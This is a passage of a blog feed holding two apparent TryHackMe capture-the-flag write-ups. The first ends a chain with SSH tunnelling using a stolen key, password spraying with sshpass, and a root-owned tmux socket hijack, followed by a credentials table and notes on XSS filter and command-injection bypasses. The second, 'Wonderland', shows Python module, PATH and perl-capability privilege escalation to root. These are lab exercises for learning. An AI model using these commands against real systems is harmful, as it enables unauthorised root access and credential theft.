&lt;p&gt;Forward the target's localhost &lt;code&gt;445&lt;/code&gt; to the attacker's localhost &lt;code&gt;1445&lt;/code&gt; over the existing&lt;br&gt;
SSH session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;ExitOnForwardFailure&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;UserKnownHostsFile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt; loot/zac/id_rsa &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-L&lt;/span&gt; 127.0.0.1:1445:127.0.0.1:445 &lt;span class="se"&gt;\&lt;/span&gt;
  zac@10.113.167.11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;List shares and download the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //127.0.0.1 &lt;span class="nt"&gt;-p&lt;/span&gt; 1445 &lt;span class="nt"&gt;-N&lt;/span&gt;
smbclient //127.0.0.1/local &lt;span class="nt"&gt;-p&lt;/span&gt; 1445 &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'ls; get passwords.bak'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;passwords.bak&lt;/code&gt; contains 20 candidate passwords (lab data):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pft7vPl
HQ@5Y64
Ls7kZxv
KPBRFJz
fKtBSbx
FWbnrxr
Kz#SPqn
c4CTRWm
5asYk73
WikHqvi
aBc123!
JPXxIMs
AHwbOmm
tXWsJ3J
QJPQWW0
3bmBhNv
xV!sce1
1bJP1af
DLH4cgw
bRBdPRk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  19. Hayley credentials and user flag
&lt;/h2&gt;

&lt;p&gt;Try each password once over SSH as &lt;code&gt;hayley&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; p&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;out&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;sshpass &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; ssh &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;UserKnownHostsFile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;ConnectTimeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;8 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;PreferredAuthentications&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;password &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;PubkeyAuthentication&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no &lt;span class="se"&gt;\&lt;/span&gt;
    hayley@10.113.167.11 &lt;span class="s1"&gt;'id'&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FOUND: &lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="s2"&gt; =&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;break
  &lt;/span&gt;&lt;span class="k"&gt;fi
done&lt;/span&gt; &amp;lt; loot/passwords.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FOUND: aBc123! =&amp;gt; uid=1000(hayley) gid=1000(hayley) groups=1000(hayley),1002(paramore)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;strong&gt;&lt;code&gt;paramore&lt;/code&gt;&lt;/strong&gt; group — that is the privesc key.&lt;/p&gt;

&lt;p&gt;Read the user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sshpass &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'aBc123!'&lt;/span&gt; ssh hayley@10.113.167.11 &lt;span class="s1"&gt;'cat /home/hayley/user.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;ck&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;r_&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="err"&gt;c&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="err"&gt;p&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  20. tmux socket hijack → root
&lt;/h2&gt;

&lt;p&gt;Look for root processes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sshpass &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'aBc123!'&lt;/span&gt; ssh hayley@10.113.167.11 &lt;span class="s1"&gt;'
  ps aux | grep -i "[t]mux"
  find / -type s 2&amp;gt;/dev/null
'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root 1001 ... /usr/bin/tmux -S /opt/.details new -s vpn -d
...
/opt/.details
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the socket permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /opt/.details
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;srw-rw---- 1 root paramore 0 Oct 23 04:39 /opt/.details
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The socket is owned by &lt;strong&gt;root:paramore&lt;/strong&gt; with group read/write. &lt;code&gt;hayley&lt;/code&gt; is in &lt;code&gt;paramore&lt;/code&gt;,&lt;br&gt;
so she can talk to the root-owned tmux &lt;strong&gt;server&lt;/strong&gt;. Any command sent to that socket is&lt;br&gt;
processed by the server, which runs as root.&lt;/p&gt;

&lt;p&gt;Confirm the session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux &lt;span class="nt"&gt;-S&lt;/span&gt; /opt/.details &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vpn: 1 windows (created Fri Oct 23 04:39:56 2026) [80x24]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run a command as root (no TTY/attach needed — &lt;code&gt;new-session -d&lt;/code&gt; is detached):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux &lt;span class="nt"&gt;-S&lt;/span&gt; /opt/.details new-session &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"id &amp;gt; /tmp/.vi; cat /root/root.txt &amp;gt; /tmp/.vr"&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/.vi
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/.vr
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=0(root) gid=0(root) groups=0(root)
{p1v0t1ng_15_fun}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root flag: &lt;code&gt;{p1v0t1ng_15_fun}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Why this works: tmux authenticates to its server over a Unix socket. The server was started&lt;br&gt;
by root and is group-readable/writable by &lt;code&gt;paramore&lt;/code&gt;; a client in that group can issue&lt;br&gt;
server commands, and those commands inherit the server's UID (root).&lt;/p&gt;


&lt;h2&gt;
  
  
  21. Cleanup
&lt;/h2&gt;

&lt;p&gt;Remove the temporary files created during privesc, using the same root tmux context:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tmux &lt;span class="nt"&gt;-S&lt;/span&gt; /opt/.details new-session &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"rm -f /tmp/.vi /tmp/.vr"&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /tmp/.vi /tmp/.vr
&lt;span class="c"&gt;# No such file or directory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stop the local tunnel and listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# kill by PID, not pkill -f (the pattern matches your own shell)&lt;/span&gt;
&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ss &lt;span class="nt"&gt;-ltnp&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;':1445 '&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'pid=[0-9]+'&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;-f2&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ss &lt;span class="nt"&gt;-ltnp&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;':8000 '&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'pid=[0-9]+'&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;-f2&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pid&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No persistence, no account changes, no service modification was left behind. The stored XSS&lt;br&gt;
post lives only in the app's in-memory &lt;code&gt;post&lt;/code&gt; global.&lt;/p&gt;




&lt;h2&gt;
  
  
  Appendix A — credentials and ports
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;anonymous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web login&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;zac:zac&lt;/code&gt; → &lt;code&gt;login=zac_from_paramore&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin cookie (stolen)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;login=hayley_is_admin&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH &lt;code&gt;zac&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;RSA key recovered from &lt;code&gt;/home/zac/notes/.id_rsa&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH &lt;code&gt;hayley&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aBc123!&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vigenère key&lt;/td&gt;
&lt;td&gt;&lt;code&gt;butterfly&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Knock sequence&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7864 8273 9241 12007 60753&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hidden web port&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;8080/tcp&lt;/code&gt; HTTPS (Werkzeug 1.0.1 / Python 2.7.18)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;127.0.0.1:139/445&lt;/code&gt;, share &lt;code&gt;[local]&lt;/code&gt;, guest OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tmux socket&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/opt/.details&lt;/code&gt; (&lt;code&gt;srw-rw---- root:paramore&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Appendix B — gotchas and dead ends
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;TTL 62 / SSH banner = Linux.&lt;/strong&gt; The scope template mentioned Windows AD; the actual
target is Linux. Don't waste time on AD paths.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The target drops ICMP.&lt;/strong&gt; Always scan with &lt;code&gt;-Pn&lt;/code&gt; after the initial footprint.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Knock timing is strict.&lt;/strong&gt; Slow probes do nothing. The five ports must be hit in order
within a short window (~0.15 s spacing). Once open, &lt;code&gt;8080&lt;/code&gt; stays open.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The knock opens HTTPS, not HTTP.&lt;/strong&gt; Use &lt;code&gt;https://&lt;/code&gt; / &lt;code&gt;usesHttps:true&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XSS filter order is the bug.&lt;/strong&gt; Checks run before entity decoding, and &lt;code&gt;script&lt;/code&gt; is
removed only once. Use &lt;code&gt;&amp;amp;lt;&lt;/code&gt;/&lt;code&gt;&amp;amp;gt;&lt;/code&gt; + &lt;code&gt;sscriptcript&lt;/code&gt;; avoid &lt;code&gt;on*=&lt;/code&gt; and numeric
parentheses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spaces are stripped in &lt;code&gt;?image=&lt;/code&gt;.&lt;/strong&gt; Use &lt;code&gt;${IFS}&lt;/code&gt;. In a shell wrapper, don't emit
&lt;code&gt;\${IFS}&lt;/code&gt; — the backslash is sent literally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Vigenère key advances only on letters.&lt;/strong&gt; Digits, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt; are unchanged and do not
consume a key character. The other variant yields invalid ASN.1.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SMB is localhost-only.&lt;/strong&gt; A direct scan will never show it; forward it with
&lt;code&gt;ssh -L 1445:127.0.0.1:445&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;pkill -f "&amp;lt;forward string&amp;gt;"&lt;/code&gt; kills your own shell&lt;/strong&gt; because the pattern appears in the
invoking command line. Kill by PID from &lt;code&gt;ss -ltnp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Only the latest post per user is shown.&lt;/strong&gt; Re-post to update the XSS payload.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The privileged container also allows a cgroup &lt;code&gt;release_agent&lt;/code&gt; escape&lt;/strong&gt; to host root.
It was available but not executed; the mounted key + tmux path was lower impact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Public blog screenshots were unreliable&lt;/strong&gt; (&lt;code&gt;static.wixstatic.com&lt;/code&gt; reset TLS, Wayback
partly offline). The chain above was derived directly from the target.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>writeup</category>
      <category>tryhackme</category>
      <category>walkthrough</category>
    </item>
    <item>
      <title>THM-Wonderland Writeup</title>
      <dc:creator>Muhammad Saad</dc:creator>
      <pubDate>Tue, 22 Sep 2026 20:23:03 +0000</pubDate>
      <link>https://dev.to/muhammad_saad_ce88b4330bf/thm-wonderland-writeup-3ohe</link>
      <guid>https://dev.to/muhammad_saad_ce88b4330bf/thm-wonderland-writeup-3ohe</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Wonderland is a Linux privilege escalation room where the goal is to move through multiple low-privileged users and eventually gain root access. The room focuses on techniques such as web enumeration, SSH access, Python module hijacking, PATH hijacking, SUID binaries, and Linux capabilities&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Active Recon&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sSV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 1000 &lt;span class="nt"&gt;-p-&lt;/span&gt; 10.48.186.218 &lt;span class="nt"&gt;-oN&lt;/span&gt; wonderland_nmap.txt
Open Ports: 22 &lt;span class="o"&gt;(&lt;/span&gt;SSH&lt;span class="o"&gt;)&lt;/span&gt; and 80 &lt;span class="o"&gt;(&lt;/span&gt;HTTP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;Initial Access&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Navigating to:
http://10.48.186.218/r/a/b/b/i/t/
The page source reveals credentials that can be used to obtain an initial SSH foothold.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;After logging &lt;span class="k"&gt;in&lt;/span&gt;, the user flag can be retrieved:
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/root/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;Privilege Escalation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Alice → Rabbit — Python Module Hijacking&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;EOF&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;rabbit&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;alice&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;walrus_and_the_carpenter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Rabbit → Hatter — SUID + PATH Hijacking&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/rabbit/teaParty 
&lt;span class="nt"&gt;-rwsr-sr-x&lt;/span&gt; 1 root root ... teaParty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file teaParty 
ltrace &lt;span class="nt"&gt;-s&lt;/span&gt; 200 ./teaParty system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/bin/echo -n 'Probably by ' &amp;amp;&amp;amp; date --date='next hour' -R"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /tmp/wonderland 
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/wonderland/date &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' #!/bin/bash /bin/bash EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/wonderland/date 
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/wonderland:&lt;span class="nv"&gt;$PATH&lt;/span&gt; 
/home/rabbit/teaParty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Hatter → Root — Linux Capability Abuse&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/hatter/password.txt 
ssh hatter@10.48.186.218 
getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null 
/usr/bin/perl &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'&lt;/span&gt; 
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/alice/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Thank you for reading. I hope you enjoyed this story and found it helpful.😊&lt;/p&gt;

